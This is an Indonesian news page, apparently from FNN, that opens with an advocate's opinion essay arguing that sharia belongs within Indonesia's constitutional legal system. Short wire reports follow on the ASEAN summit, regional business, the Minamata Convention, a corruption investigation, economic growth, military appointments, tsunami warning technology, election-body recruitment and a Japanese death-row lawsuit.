Oleh: Subagyo Semakin lama suara menetang pemberlakuan syariah (Hukum Islam) di Indonesia kian mengemuka. Doktor Ade Armando yang merupakan dosen Ilmu Komunikasi di Universitas Indonesia merupakan salah satu penentangnya, menganggap pemberlakukan syariah di Indonesi adalah berbahaya. Di media-media sosial dan tulisan-tulisan di blog internet, terdapat kesan bahwa ada orang-orang yang memang awam ilmu hukum, awam sejarah, mereka mengira bahwa orang-orang yang memperjuangkan syariah itu merupakan kaum ekstrimis yang anti NKRI, ingin mengubah ideologi negara Pancasila atau anti Pancasila. Proganda dengan kalimat “Mengganti Pancasila dengan Syariah Islam” itu adalah menyesatkan. Sebab, orang-orang Islam Indonesia yang memperjuangkan syariah itu bukan dengan maksud mengganti Pancasila, melainkan memperjuangkan hak-hak dan kewajibannya, yang telah dijamin oleh konstitusi. Sikap menentang berlakunya syariah tersebut bisa saja memang merupakan sikap penganut ideologi sekularisme, atau bisa karena salah paham dan tidak memahami sistem hukum Indonesia. Kaum awam ilmu hukum tersebut butuh untuk meneliti sejarah bagaimana proses Indonesia didirikan. Peran umat Islam dalam perjuangan kemerdekaan Indonesia, mau tidak mau harus diakui. Para tokoh Islam ada di dalam sidang-sidang Badan Penyelidik Usaha-usaha Persiapan Kemerdekaan Indonesia (BPUPKI), sebagai representasi umat Islam yang mayoritas. Di dalam sidang-sidang BPUPKI dan Panitia Persiapan Kemerdekaan Indonesia (PPKI), terjadi perdebatan para pendiri negara dari golongan Islam dan nasionalis. Terjadilah kompromi, sehingga bangunan negara Indonesia disebut sebagai religious nation state oleh para ahli Hukum Tata Negara. Hukum Islam dan politik Islam dalam sejarahnya di dunia telah memberikan pengaruh pada hukum di banyak negara, sehingga menjadi bahan kajian-kajian ilmu hukum di dunia. Bapak sejarahwan sains, George Sarton berkata bahwa Raja Frederick II, penguasa Dinasti Norman di Sisilia (yang saat itu adalah Kaisar Romawi), adalah orang yang setengah muslim dengan caranya sendiri. Ketika Frederick II berkuasa, University of Naples tahun 1224 M, menggunakan sistem pendidikan yang dikembangkan perguruan tinggi Islam. Bahkan sistem fiskal Inggris meniru sistem hukum fiskal Islam di Sisilia. Joseph Schacht secara khusus meneliti syariah dan menerbitkan buku berjudul The Origins of Muhammadan Jurisprudence, meskipun dikomentari negatif oleh Wael B. Hallaq (profesor Hukum Islam Institute of Islamic Studies. McGill University, Montreal, Kanada). Profesor Wael menyatakan bahwa karya Schacht tersebut adalah suatu perlakuan yang menyesatkan terhadap hukum dan Ilmu Hukum Islam, sebagaimana kitab ar-Risalah karya Imam Syafi’i dianggap sebagai suatu penjelasan ushul fiqih. Profesor Peter de Cruz menyebutkan bahwa Hukum Islam termasuk bagian dari sistem hukum di dunia, meskipun ia tidak membahasnya lebih jauh. Profesor Werner Menski dari Inggris dalam karyanya Comparative Law In A Global Context (2008) membahas secara khusus tentang Syariah Islam. Menski memberikan uraian pandangan fundamental terkait dengan bagaimana memahami Hukum Islam dalam konteks hukum yang plural. Menski menyatakan, seorang muslim yang baik, seperti yang dinyatakan dalam Quran sendiri, tidak bisa bersikeras bahwa semua orang di dunia harus menganut Islam atau jenis tertentu Islam. Walhasil, seorang muslim yang baik sudah dengan sendirinya adalah seorang pluralis. Profesor Menski terpengaruh oleh pandangan tokoh Islam, yakni Presiden Afghanistan, Hamid Karzai, yang berkata, “Saya seorang muslim fundamentalis. Saya meyakini fundamental Islam. Yang salah adalah ekstrimisme. Kita tidak boleh membiarkan ekstrimisme dalam agama. Dalam kasus kita ekstrimisme datang dari luar negeri. Orang-orang Afghan bukan ekstrimis.” Terkait pandangan Profesor Menski tentang pluralitas, pluralisme itu seperti tema HAM, di mana lebih mengemuka dalam wacana-wacana intelektual di Barat. Tetapi Islam sendiri juga memuat ajaran HAM dan pluralitas sebagai pemaknaan dari “kesadaran terhadap perbedaan”. Pluralitas dalam ajaran Islam memang bukan pluralisme ideologi Barat. Tetapi ada titik-titik singgung yang sesuai. Alquran Surat Alhujurot ayat 13 merupakan ayat yang berkaitan dengan pluralitas tersebut. Hukum Internasional juga mengakui sumbangan syariah kepada masyarakat dunia. Profesor E. Saefullah Wiradipradja, guru besar Universitas Islam Bandung, menyampaikan bahwa sumbangan Hukum Islam, khususnya terhadap Hukum Perang/Humaniter, sangat besar terutama dalam meletakkan asas-asas perikemanusiaan dalam Hukum Perang Humaniter. Seorang guru besar Hukum Internasional pada Akademi Ilmu Negara di Den Haag, Belanda, dan pernah menjadi menteri pada tahun 1936 menyatakan bahwa orang-orang yang dianggap peletak dasar-dasar hukum internasional yaitu Vittoria dan Suarez, banyak mengambil dasar hukum internasional dari syariat Islam. Hugo de Groot (Grotius) sebagai Bapak Hukum Internasional modern dalam tulisannya banyak mengambil pendapat Vittoria dan Suarez yang mengambil dasar-dasar Hukum Islam. Pendapat yang sama juga dikemukakan juga oleh pengarang Perancis Sedilot dalam bukunya Sejarah Arab, Jean Pictet dalam tulisannya The Geneva Convention and The Laws of War, M.K. Ereksoussi dalam The Koran and The Humanitarian Convention, dan Mochtar Kusumaatmadja dalam bukunya Konvensi-Konvensi Jenewa 1949 Mengenai Perlindungan Korban Perang. Di Indonesia sendiri, Hukum Islam (syariah) telah menjadi kenyataan sejarah di Nusantara, sebelum Indonesia merdeka. Bahkan di zaman kolonial Belanda juga diterapkan syariat bagi orang Islam dan dibentuk Mahkamah Syariah, meskipun dalam bidang hukum yang terbatas. Artinya, pemerintah penjajah Belanda masih memperhatikan living law masyarakat Islam di tanah jajahannya di Nusantara. Pada zaman Hindia Belanda, terdapat peraturan bernama Regeering Reglemen (RR) Tahun 1885, di mana Pasal 78 ayat (2) menentukan bahwa apabila terjadi perkara perdata antara sesama orang Bumiputera atau dengan orang yang disamakan dengan mereka, maka mereka tunduk pada hakim agama atau kepala masyarakat mereka yang menyelesaikan perkara itu menurut undang-undang agama atau ketentuan mereka. Pengadilanya dibentuk dengan nama Priesterraad, Stbl. 1882 No. 152 Jo. 1937 No. 116 dan 610 untuk Jawa dan Madura dan Kerapatan Qodhi Stbl. 1937 No. 638 dan 639 untuk Kalimantan Selatan dan Kalimantan Timur Sukarno dalam pidatonya tanggal 1 Juni 1945 juga menyampaikan ide bahwa rakyat yang beragama Islam harus bekerja keras agar dalam pemilihan umum memilih para pemuka agama Islam yang duduk di dalam Badan Perwakilan Rakyat sehingga peraturan yang keluar dari badan tersebut adalah peraturan yang berdasarkan Islam. Begitu pula umat Kristen mesti berusaha dalam pemilihan umum, agar nantinya Badan Perwakilan Rakyat juga mengeluarkan peraturan yang bersumber dari Injil. Dalam perspektif hukum konstitusi, Pasal 29 ayat (1) UUD 1945 menentukan bahwa negara berdasarkan Ketuhanan Yang Maha Esa. Profesor H. Muchsin mengemukakan pandangan dari Profesor Hazairin yang merupakan guru besar Hukum Islam di Universitas Indonesia, bahwa di dalam negara Indonesia tidak boleh terjadi atau berlaku sesuatu yang bertentangan dengan Hukum Islam bagi umat Islam, atau bertentangan dengan Hukum Nasrani bagi umat Nasrani, atau bertentangan dengan Hukum Hindu bagi umat Hindu, dan seterusnya berlaku pula prinsip hukum yang demikian bagi umat Budha. Negara Indonesia wajib menjalankan masing-masing syariat agama bagi para pemeluk agama masing-masing. Syariat tidak memerlukan bantuan kekuasaan negara untuk menjalankannya, dan itu menjadi kewajiban pribadi masing-masing orang menurut agamanya. Pandangan tersebut sama dengan pandangan tokoh-tokoh lainnya, termasuk Kyai Abdurrahman Wahid. Tetapi yang jelas mereka sama pandangan dalam satu hal, yakni syariat – entah dengan cara formal atau tidak formal – merupakan pedoman hidup bagi umat Islam yang dijalankan dalam kehidupan sehari-hari. Profesor H. Muchsin menyatakan bahwa proses politik yang panjang akhirnya membuahkan perundang-undangan yang berlabel Islam. Contohnya, Dekrit Presiden 5 Juli 1959 yang di dalamnya ada Piagam Jakarta, Undang-Undang Nomor 1 Tahun 1974 tentang Perkawinan (sekarang berubah dengan Undang-Undang Nomor 16 Tahun 2019), Undang-Undang Nomor 7 Tahun 1989 tentang Peradilan Agama (hingga artikek ini ditulis telah diubah dengan Undang-Undang Nomor 50 tahun 2009) dan sebagainya. Dengan demikian, terlepas dari segala kekurangan dalam penerapannya di Indonesia, syariah merupakan bagian dari system hukum Indonesia. Sikap dan usaha menentang syariah dengan berharap Indonesia akan menjadi 100% sekuler, merupakan sikap yang tidak hanya bertentangan dengan Pancasila, tapi juga inkonstitusional. Penulis Adalah Advokat di Surabaya

KTT ASEAN Mengesahkan Rekomendasi Deklarasi yang Diinisiasi Indonesia

Jakarta, FNN - Konferensi Tingkat Tinggi (KTT) ASEAN ke-38 dan ke-39 mengesahkan lima rekomendasi deklarasi, termasuk deklarasi tentang promosi daya saing, ketahanan, dan ketangkasan pekerja yang diinisiasi oleh Indonesia. "Langkah ASEAN yang akan mengadopsi dokumen ASEAN Declaration on Promoting Competitiveness, Resilience, and Agility of Workers for the Future of Work ini sebagai salah satu capaian kerja sama sektor ketenagakerjaan ASEAN," kata Sekretaris Jenderal Kementerian Ketenagakerjaan Anwar Sanusi dalam siaran pers kementerian yang diterima di Jakarta pada Jumat. Ia menjelaskan, Deklarasi ASEAN tentang Promosi Daya Saing, Ketahanan, dan Ketangkasan Pekerja untuk Menghadapi Masa Depan Kerja (ASEAN Declaration on Promoting Competitiveness, Resilience, and Agility of Workers for the Future of Work) merupakan dokumen hasil kepemimpinan Indonesia dalam Forum Menteri Tenaga Kerja ASEAN (ASEAN Labour Ministers Meeting/ALMM) periode 2020-2022. "Dokumen deklarasi telah dibahas negara-negara anggota ASEAN dan disepakati untuk disahkan oleh para pemimpin ASEAN pada KTT ASEAN tahun 2021," katanya. Deklarasi ASEAN tersebut mencakup pembangunan ketenagakerjaan di Asia Tenggara yang fokus pada adaptasi manusia terhadap transformasi dalam revolusi industri 4.0 dan tantangan yang muncul akibat pandemi COVID-19. Para kepala negara ASEAN mengamanatkan kepada menteri-menteri tenaga kerja di kawasan untuk mengimplementasikan deklarasi dengan cara meningkatkan produktivitas tenaga kerja, merevitalisasi pasar kerja, dan memastikan penerapan kerja layak di ASEAN. Para pemimpin ASEAN juga menyampaikan pentingnya pengembangan Indeks Produktivitas Tenaga Kerja ASEAN sebagai mekanisme yang dapat digunakan untuk mengukur dan mendukung kapasitas negara anggota ASEAN dalam meningkatkan produktivitas angkatan kerja. "ASEAN Declaration on Promoting Competitiveness, Resilience and Agility of Workers for the Future of Work akan ditindaklanjuti dengan pengembangan dokumen pedoman untuk meningkatkan daya saing, ketahanan, dan kesigapan tenaga kerja ASEAN dalam menghadapi tantangan pekerjaan masa depan serta kebencanaan yang mungkin muncul di masa mendatang," kata Anwar. Selain deklarasi mengenai ketenagakerjaan, KTT ASEAN di Brunei Darussalam sepakat mengesahkan Bandar Seri Begawan Declaration on the Strategic and Holistic Initiative to Link ASEAN Responses to Emergencies and Disasters (ASEAN SHIELD) dan ASEAN Leaders’ Declaration on Upholding Multilateralism. KTT ASEAN juga sepakat mengesahkan dokumen Terms of Reference for the High-Level Task Force on the ASEAN Community’s Post-2025 Vision and the Roadmap serta ASEAN Joint Statement on Climate Change to the 26th Conference of the Parties to the United Nations Framework Convention on Climate Change. (mth)

Perusda Kalbar Dukung UMKM untuk Pemasaran Pangan Lokal hingga Ekspor

Pontianak, FNN - Perusahaan Daerah Aneka Usaha Kalbar berkomitmen mendukung pelaku Usaha Mikro, Kecil dan Menengah (UMKM) untuk melakukan pemasaran pangan lokal hingga ekspor. "Perusda sekarang sudah ada izin untuk ekspor. Bahkan kami sudah membantu ekspor pelaku usaha kelapa dalam yang dikirim ke Malaysia dan kratom yang dikirim ke Amerika," ujar Direktur Utama Perusda Aneka Usaha Kalbar Syariful Hamzah Nauli di Pontianak, Jumat. Ia menambahkan bahwa pelaku UMKM secara umum terkendala dalam mengekspor produknya karena berkaitan izin dan lainnya. Nah untuk Perusda hadir memfasilitasi dan bahkan mencarikan pasar. "Dengan adanya izin ini Perusda akan terus mengekspor produk - produk lokal UMKM agar produk lokal semakin dikenal dunia. Pelaku UMKM kami dampingi," jelas dia. Pihaknya sangat terbuka dengan pihak mana pun untuk menjalin kerjasama dalam memajukan usaha dan potensi daerah. "Tentu bisnis kami mencari segmen yang selama ini belum tersentuh atau membantu usaha yang perlu pendampingan," kata dia. Untuk saat ini pihaknya juga mulai fokus dalam pemasaran beras lokal. Beras kampung miliki petani di sejumlah daerah di Kalbar seperti di Landak, Mempawah, Kubu Raya dan lainnya dipasarkan. "Tahap pertama ini kami akan memasarkan beras lokal, beras kampung akan kami kelola dan dikemas secara bagus lalu di pasarkan," katanya Untuk saat ini pemasaran beras masih menyasar Aparatur Sipil Negara (ASN). Hingga saat ini kata dia beras kampung yang dijual sudah mencapai 10 ton per bulannya. "Alhamdulillah walaupun permintaan beras kampung belum seperti distributor beras lain karena pasaran kita sementara ini lingkungan ASN untuk awalnya hanya satu - dua ton sekarang permintaan bisa 10 ton," sebutnya. Perusda memilih beras kampung sebagai distributor beras kampung karena di Kalbar perlu dimaksimalkan pemasarannya. "Kami melihat peluang di sana karena belum ada yang fokus mendistribusikan beras kampung karena di Kalbar . Makanya kami putuskan untuk memilih beras kampung. Kemudian kami ingin membantu pengenalan beras lokal juga dapat membantu para petani," papar dia. Perusda Aneka Usaha juga saat ini sudah bekerjasama dengan beberapa dinas di Kalbar agar ikut membantu distribusi beras kampung. "Selain membantu petani lokal kami juga membantu industri penggilingan lokal, dengan adanya kerjasama dinas koperasi dan dinas ketahanan pangan yang juga menyediakan beberapa tempat untuk penataan produk agar menarik minat pembeli ," katanya. (mth)

Presiden Minta Penanganan soal Merkuri Dilakukan dengan Cepat

Jakarta, FNN - Presiden RI Joko Widodo meminta upaya perlindungan kesehatan manusia dan pemulihan kondisi lingkungan yang tercemar akibat merkuri dilakukan dengan langkah cepat. Hal itu disampaikan Dirjen Pengelola Sampah Limbah dan Bahan Beracun Berbahaya (PSLB3) Kementerian Lingkungan Hidup dan Kehutanan, sekaligus Presiden COP-4 Konvensi Minamata, Rosa Vivien Ratnawati, di Jakarta, Jumat. "Terkait penyelenggaraan COP-4 Konvensi Minamata, Presiden Jokowi sangat concern dalam upaya perlindungan kesehatan manusia dan pemulihan kondisi lingkungan yang tercemar akibat merkuri. Beliau menekankan upaya tersebut harus dilakukan dengan langkah-langkah cepat," ujar Rosa dalam keterangan tertulisnya di Jakarta, Jumat. Rosa menekankan Indonesia menjadi salah satu negara yang telah menandatangani dan meratifikasi Konvensi Minamata. Kali ini Indonesia menjadi tuan rumah COP-4 Konvensi Minamata yang pertemuannya dilakukan dalam dua tahap. Tahap pertama dilakukan 1-5 November 2021 secara virtual, sedangkan tahap kedua dilakukan dengan tatap muka Maret 2022. Menurutnya, menjadi tuan rumah COP-4 Konvensi Minamata merupakan salah satu perwujudan atas pesan Presiden Jokowi dalam aspek diplomasi lingkungan hidup Indonesia di tingkat global. Dia mengatakan menjadi tuan rumah sekaligus Presidensi COP-4 Konvensi Minamata merupakan peluang besar bagi Indonesia untuk mengangkat perannya dalam diplomasi lingkungan, tidak hanya di tingkat regional tetapi hingga tingkat global. "Menjadi presidensi untuk COP-4 membuka kesempatan Indonesia untuk mengusulkan instrumen pendukung yang akan melengkapi upaya penghapusan merkuri di tingkat global. Indonesia memanfaatkan momentum tersebut dengan mengusulkan sebuah deklarasi politik non-binding untuk mengajak seluruh negara bersama-sama melawan perdagangan ilegal merkuri secara global. Deklarasi ini diberi nama Bali Declaration on Combating Mercury Ilegal Trade of Mercury, yang disebut 'Deklarasi Bali',"jelasnya. Dia menyampaikan di tingkat regional Asia Pasifik, sebagai presidensi untuk COP-4 Konvensi Minamata, Indonesia menjadi pemimpin dalam jalannya persidangan. Di samping itu, Indonesia tidak berhenti untuk mengarusutamakan usulan Deklarasi Bali kepada seluruh negara di regional Asia Pasifik dan Asia tenggara. Pada pelaksanaan COP-4 tahap pertama Konvensi Minamata, Indonesia memperoleh sesi konsultasi khusus untuk memaparkan isi Deklarasi Bali secara rinci kepada negara yang hadir guna mendapat lebih banyak masukan dari negara lain terhadap hasil deklarasi. Diharapkan pada COP 4 tahap kedua mendatang, deklarasi ini diadopsi secara konsensus oleh seluruh negara melalui pendekatan yang holistik. Adapun upaya yang dilakukan Indonesia untuk memaksimalkan pengarusutamaan Deklarasi Bali pada momentum COP-4 Konvensi Minamata, di antaranya memanfaatkan setiap kesempatan yang diberikan oleh Sekretariat Konvensi Minamata untuk menggalang dukungan dan membuka diri menerima masukan dari negara-negara lain terhadap draf Deklarasi Bali. "Indonesia, yang diwakili oleh Ketua Delegasi RI, Bapak Muhsin Syihab, telah beberapa kali memaparkan isi Deklarasi Bali, di antaranya pada setiap pertemuan regional persiapan pelaksanaan COP 4 tahap 1 yang diselenggarakan sebelum gelaran COP 4 tahap 1 dimulai serta dalam sesi Special Consultation Session on Bali Declaration pada hari Rabu (3/11) ," jelasnya. (mth)

Kejaksaan Tinggi NTT Geledah Sekretariat DPRD Kabupaten Kupang

Kupang, FNN - Penyidik Tindak Pidana Korupsi Kejaksaan Tinggi Provinsi Nusa Tenggara Timur menggeledah Kantor Sekretariat DPRD Kabupaten Kupang terkait dugaan korupsi pengalihan aset tanah dan bangunan bekas Kantor Radio Pemerintah Daerah (RPD) Kabupaten Kupang Tahun 2009. "Hari ini tim penyidik dari Kejaksaan Tinggi NTT melakukan penggeledahan di Kantor Sekretariat DPRD Kabupaten Kupang untuk mencari barang bukti terkait kasus korupsi pengalihan aset Pemerintah Kabupaten Kupang," kata Kepala Seksi Penerangan Hukum dan Humas Kejaksaan Tinggi NTT, Abdul Hakim ketika dihubungi di Kupang, Jumat. Ia mengatakan proses hukum kasus dugaan korupsi pengalihan aset tanah dan bangunan milik Pemerintah Kabupaten Kupang itu sudah pada tahap penyidikan. Dia mengatakan kasus pengalihan aset pemerintah itu terjadi pada 2009 setelah adanya persetujuan DPRD Kabupaten Kupang. "Penyidik Kejaksaan Tinggi NTT membutuhkan sejumlah barang bukti terkait adanya persetujuan DPRD Kabupaten Kupang terhadap proses pengalihan aset pemerintah itu," tegas Abdul Hakim. Ia memastikan banyak pihak yang bakal dipanggil penyidik Kejaksaan untuk dimintai keterangan terkait kasus itu. "Banyak yang akan dipanggil penyidik untuk dimintai keterangan, termasuk anggota DPRD Kabupaten Kupang karena pengalihan aset pemerintah itu dilakukan setelah ada persetujuan DPRD setempat," tegas Abdul Hakim. Abdul Hakim mengaku belum mengetahui dokumen apa saja yang sudah dikantongi penyidik dari hasil penggeledahan itu, karena proses penggeledahan di Gedung DPRD Kabupaten Kupang di Oelemasi, Ibu Kota Kabupaten Kupang sekitar 38 km arah timur Kota Kupang itu masih berlangsung. (mth)

Ekonomi Sumatera Utara Triwulan III 2021 Tumbuh 3,67 Persen

Medan, FNN - Ekonomi Sumatera Utara (Sumut) triwulan III 2021 terhadap triwulan III 2020 atau year on year mengalami pertumbuhan sebesar 3,67 persen. Kepala Badan Pusat Statistikk (BPS) Sumut Syech Suhaimi di Medan, Jumat, mengatakan, dari sisi produksi, lapangan usaha, jasa keuangan, dan asuransi, mengalami pertumbuhan tertinggi sebesar 8,43 persen. Dari sisi pengeluaran, komponen ekspor barang dan jasa mengalami pertumbuhan tertinggi sebesar 16,67 persen. "Perekonomian Sumut berdasarkan besaran PDRB (Produk Domestik Regional Bruto) atas dasar harga berlaku triwulan III 2021 mencapai Rp218,46 triliun dan atas dasar harga konstan 2010 mencapai Rp38,81 triliun," katanya. Dia menjelaskan dengan perekonomian yang membaik, Provinsi Sumatera Utara memberikan kontribusi terbesar terhadap PDRB di Pulau Sumatera sebesar 23,21 persen. Ada pun Provinsi Riau sebesar 23,00 persen, Sumatera Selatan 13,49 persen, dan Lampung 10,41 persen. Kepala Kantor Perwakilan Sumut Bank Indonesia (BI) Soekowardojo menyebutkan ekonomi yang bertumbuh itu sudah diprediksi sejak awal. Prediksi membaiknya pertumbuhan ekonomi Sumatera Utara pada 2021 mengacu pada terlihatnya pergerakan ekonomi khususnya ekspor yang terus meningkat. BI memprediksi perekonomian Sumatera Utara bertumbuh positif 3-4,5 persen secara year on year. "BI masih meyakini ekonomi Sumatera Utarapada 2021 bisa tumbuh positif 3-4,5 persen, meski bias ke bawah," ujar Soekowardojo. Pada 2020 pertumbuhan ekonomi Sumatera Utara terkontraksi cukup dalam atau minus 1,07 persen dari 2019 yang sebesar 5,22 persen. (mth)

Komisi I Tidak Tanyakan LHKPN Jenderal Andika dalam Uji Kelayakan

Jakarta, FNN - Anggota Komisi I DPR RI Bobby Adityo Rizaldi memastikan Komisi I DPR tidak akan menanyakan Laporan Harta Kekayaan Pejabat Negara (LHKPN) milik Jenderal Andika Perkasa dalam uji kelayakan calon Panglima TNI pada Sabtu (6/11). "Saya rasa hampir dipastikan tidak ada lagi pertanyaan mengenai itu (LHKPN) dan pajak dalam uji kelayakan," kata Bobby di Kompleks Parlemen, Jakarta, Jumat. Hal itu dikatakannya terkait jumlah harta kekayaan calon Panglima TNI Jenderal Andika Perkasa yang diberitakan mencapai sekitar Rp179 miliar. Bobby mengatakan terkait pajak sudah ada pihak berwenang yang menangani laporan pajak seseorang, yakni Ditjen Pajak Kementerian Keuangan, sedangkan untuk LHKPN ada pada Komisi Pemberantasan Korupsi (KPK). Menurut dia, proses validasi dokumen yang berjalan di Komisi I DPR RI untuk melihat apakah sudah benar laporan pajak dan LHKPN Jenderal Andika dilakukan pada masing-masing institusi tersebut. "Namanya validasi itu apakah sudah benar laporan tersebut dibuat dan apakah benar laporannya telah dikeluarkan oleh instansi yang berwenang," ujarnya. Dia menjelaskan dalam uji kelayakan calon Panglima TNI, masing-masing fraksi memiliki fokus dan pandangan sendiri terkait fokus persoalan yang akan ditanyakan kepada Jenderal Andika. Namun, menurut Bobby, dirinya akan menanyakan terkait target dan sasaran 100 hari kerja hingga akhir masa jabatan Jenderal Andika sebagai Panglima TNI. Dia menilai masa jabatan singkat yang dimiliki Jenderal Andika harus mampu menerjemahkan visi-misi Presiden Joko Widodo, khususnya dalam bidang pertahanan dan keamanan. "Bagaimana dalam waktu yang cukup singkat ini mampu menerjemahkan visi-misi Presiden dan bagaimana melanjutkan program-program tahun 2022 karena anggarannya sudah diputuskan pada masa kepemimpinan Hadi Tjahjanto," katanya. Sebelumnya, Rapat Internal Komisi I DPR RI pada Kamis (4/11) yang dihadiri seluruh fraksi memutuskan verifikasi kelengkapan dokumen calon Panglima TNI dilakukan pada (Jumat, 5/11) oleh Pimpinan Komisi dan Kapoksi. Rapat internal memutuskan uji kelayakan calon Panglima TNI dilakukan pada Sabtu (6/11) pukul 10.00 WIB. Uji kelayakan tersebut bersifat terbuka untuk visi misi, namun tertutup untuk hal-hal strategis dan pendalaman visi-misi. Setelah uji kelayakan, Komisi I DPR RI dijadwalkan akan melaksanakan rapat internal untuk pemberian persetujuan pada Sabtu (6/11), pukul 13.00 WIB. Selanjutnya diserahkan kembali kepada Pimpinan DPR RI untuk diambil keputusan dalam Rapat Paripurna DPR pada Senin (8/11). (mth)

BRIN Segera Pasang InaCBT Perkuat Sistem Peringatan Dini Tsunami

Jakarta, FNN - Organisasi Pengkajian dan Penerapan Teknologi (OR PPT) Badan Riset dan Inovasi Nasional (BRIN) segera melakukan pemasangan teknologi kabel optik bawah laut (InaCBT) untuk memperkuat sistem peringatan dini tsunami Indonesia (InaTEWS) pada akhir 2021. "Kita baru mulai untuk CBT yang tadinya banyak melakukan pengembangan sistem di darat, sekarang kita rencana mau mulai deploy (memasang) di laut untuk akhir tahun ini, targetnya begitu," kata peneliti kebencanaan Pusat Teknologi Reduksi Risiko Bencana OR PPT BRIN, Joko Widodo saat dihubungi ANTARA di Jakarta, Jumat. Indonesia Cable Based Tsunameter (InaCBT) akan dipasang di dua lokasi, yakni di Rokatenda dengan panjang kabel 15,5 kilometer (km) dan di Labuan Bajo dengan panjang kabel 57,5 km. InaCBT dengan kabel fiber optik yang dilengkapi dengan sensor pendeteksi gelombang tsunami akan dipasang di dasar laut dengan kedalaman 2.000 meter sampai 4.000 meter di lokasi tersebut. Namun, kabel tersebut akan dipastikan bisa lolos uji tekanan bawah laut di kedalaman 6.000 meter, karena rencananya ke depan InaCBT juga dipasang hingga di kedalaman itu. Ditargetkan InaCBT mulai dipasang di dasar laut di Rokatenda dan Labuan Bajo pada akhir 2021. Pemasangan InaCBT di dasar laut mendapat pendanaan dari anggaran pendapatan dan belanja negara (APBN), dan menjadi prioritas riset nasional dalam periode 2020-2024. Saat ini, komponen utama InaCBT, yakni kabel fiber optik sudah diproduksi dalam negeri, sehingga penggunaan tingkat komponen dalam negeri (TKDN) diperkirakan mencapai lebih dari 80 persen. "Komponen utamanya adalah kabel, sementara kabelnya sudah diproduksi di dalam negeri," ujar Joko. Joko mengatakan pihaknya berusaha mengembangkan dan menguasai teknologi yang bisa mengirimkan data secepatnya, karena kecepatan perolehan dan pengiriman data dalam suatu sistem peringatan dini menjadi kunci keselamatan. Oleh karenanya, CBT dengan kabel fiber optik menjadi pilihan. Kabel fiber optik memiliki kecepatan tinggi dalam mentransmisikan sinyal gelombang tsunami yang ditangkap sensor dasar laut ke stasiun penerima data, sehingga diharapkan peringatan dini akan semakin cepat disampaikan ke publik. Data tersebut bisa digunakan Badan Meteorologi, Klimatologi dan Geofisika (BMKG) untuk memberikan peringatan dini tsunami kepada masyarakat. Diharapkan peringatan dini sampai kepada publik kurang dari lima menit, sehingga mempercepat respons untuk mengurangi risiko bencana. (mth)

Kemendagri Ingatkan Pendaftaran Seleksi KPU-Bawaslu Sampai 15 November

Jakarta, FNN - Sekretaris Direktorat Jenderal Politik dan Pemerintahan Umum Kementerian Dalam Negeri (Kemendagri) Imran mengingatkan kepada masyarakat bahwa pendaftaran seleksi calon anggota Komisi Pemilihan Umum (KPU) dan Badan Pengawas Pemilu (Bawaslu) berakhir pada 15 November 2021. "Semua komponen bangsa kami harap bisa mempunyai kepedulian yang sama untuk berpartisipasi dalam pemilihan komisioner KPU maupun Bawaslu ini," kata Imran ketika memberi sambutan dalam sosialisasi "Seleksi Calon Anggota KPU RI dan Bawaslu RI Masa Jabatan Tahun 2022-2027", yang disiarkan secara langsung di kanal YouTube Ditjen Politik dan Pemerintahan Umum Kemendagri, dan dipantau dari Jakarta, Jumat. Masyarakat yang berminat dapat mendaftarkan diri dengan tiga cara, yakni mengantar berkas ke sekretariat tim seleksi calon anggota KPU dan calon anggota Bawaslu di Gedung B lantai 2 Kementerian Dalam Negeri, Jakarta Pusat, mengirim berkas melalui kantor pos ke PO.BOX 555 Jakarta Pusat 10000, atau mendaftarkan diri secara daring melalui laman seleksikpubawaslu.kemendagri.go.id. Dalam laman tersebut juga tercantum formulir kelengkapan dan syarat pendaftaran yang dibutuhkan oleh peserta. Imran mengatakan bahwa pihaknya membuka secara luas kepada masyarakat yang memiliki perhatian, kesadaran, dan kemampuan maupun pengetahuan terkait dengan penyelenggaraan pemilu untuk ikut serta berkompetisi, sehingga bisa terpilih menjadi komisioner yang memiliki kompetensi dan kapabilitas dalam menyelenggarakan pemilu. "Termasuk nantinya komisioner yang berada dalam tingkat provinsi, kabupaten, dan kota dalam menyelenggarakan pelaksanaan pemilihan kepala daerah tahun 2024 yang akan datang," ucap dia. Melalui seleksi tersebut, Imran berharap agar penyelenggaraan pemilu dan pilkada serentak pada tahun 2024 dapat berjalan dengan lancar, mengingat hal tersebut akan menjadi tantangan baru bagi para anggota yang terpilih. "Kita berdoa, semoga penyelenggaraan pemilu dan pilkada serentak 2024 mendatang bisa berjalan dengan baik dan aman," ujar Imran berharap. (sws)

Terpidana Mati di Jepang Tuntut Negara Atas Pemberitahuan Singkat

Tokyo, FNN - Dua terpidana mati di Jepang menggugat negara itu karena para tahanan diberi tahu hanya beberapa jam sebelum hukuman mati dilaksanakan. Dua orang tahanan terpidana mati menuntut perubahan dan mencari kompensasi atas dampak praktik "tidak manusiawi" itu, menurut berita media lokal. Hukuman mati di Jepang dilakukan dengan cara digantung, dan praktik tidak memberi tahu narapidana tentang waktu pelaksanaannya sampai sesaat sebelum eksekusi telah lama dikecam oleh organisasi-organisasi internasional untuk hak asasi manusia. Hal itu dinilai tidak manusiawi karena tekanan yang diberikan pada para tahanan terpidana mati, yang setiap hari bisa menghadapi hari terakhir mereka. Pada Kamis (4/11), dalam langkah yang diyakini sebagai yang pertama, dua tahanan yang dijatuhi hukuman mati mengajukan gugatan di pengadilan distrik di kota barat Osaka dengan mengatakan praktik (pemberitahuan singkat) itu ilegal karena tidak memberikan waktu kepada tahanan untuk mengajukan keberatan. Kedua tahanan terpidana mati itu pun menuntut praktik tersebut harus diubah dan meminta kompensasi 22 juta yen (sekitar Rp2,78 miliar), menurut berita media lokal pada Jumat. "Terpidana mati hidup dalam ketakutan setiap pagi bahwa hari itu akan menjadi hari terakhir mereka," kata seorang pengacara penggugat seperti dikutip oleh kantor berita Kyodo. "Ini sangat tidak manusiawi," ujar pengacara itu. Kyodo melaporkan bahwa pengacara penggugat mengatakan tidak ada undang-undang yang mewajibkan tahanan diberitahu tentang eksekusi mereka hanya pada hari pelaksanaannya. Pengacara juga mengatakan bahwa praktik tersebut bertentangan dengan hukum pidana Jepang. Para pengacara yang bertanggung jawab atas kasus gugatan itu belum dapat dimintai komentar ketika dihubungi oleh Reuters. Seorang juru bicara di Kementerian Kehakiman Jepang menolak mengomentari tentang kasus tersebut atau tentang cara hukuman mati dilakukan. Hukuman mati di Jepang biasanya dijatuhkan sehubungan dengan kasus pembunuhan, dan hukuman mati mendapat dukungan yang sangat tinggi di kalangan masyarakat umum negara itu. Tidak ada eksekusi yang dilakukan di Jepang pada 2020, yang merupakan tahun pertama tanpa eksekusi sejak 2011, dan belum ada hukuman mati yang dilaksanakan pada 2021. Saat ini ada sekitar 110 orang yang dijatuhi 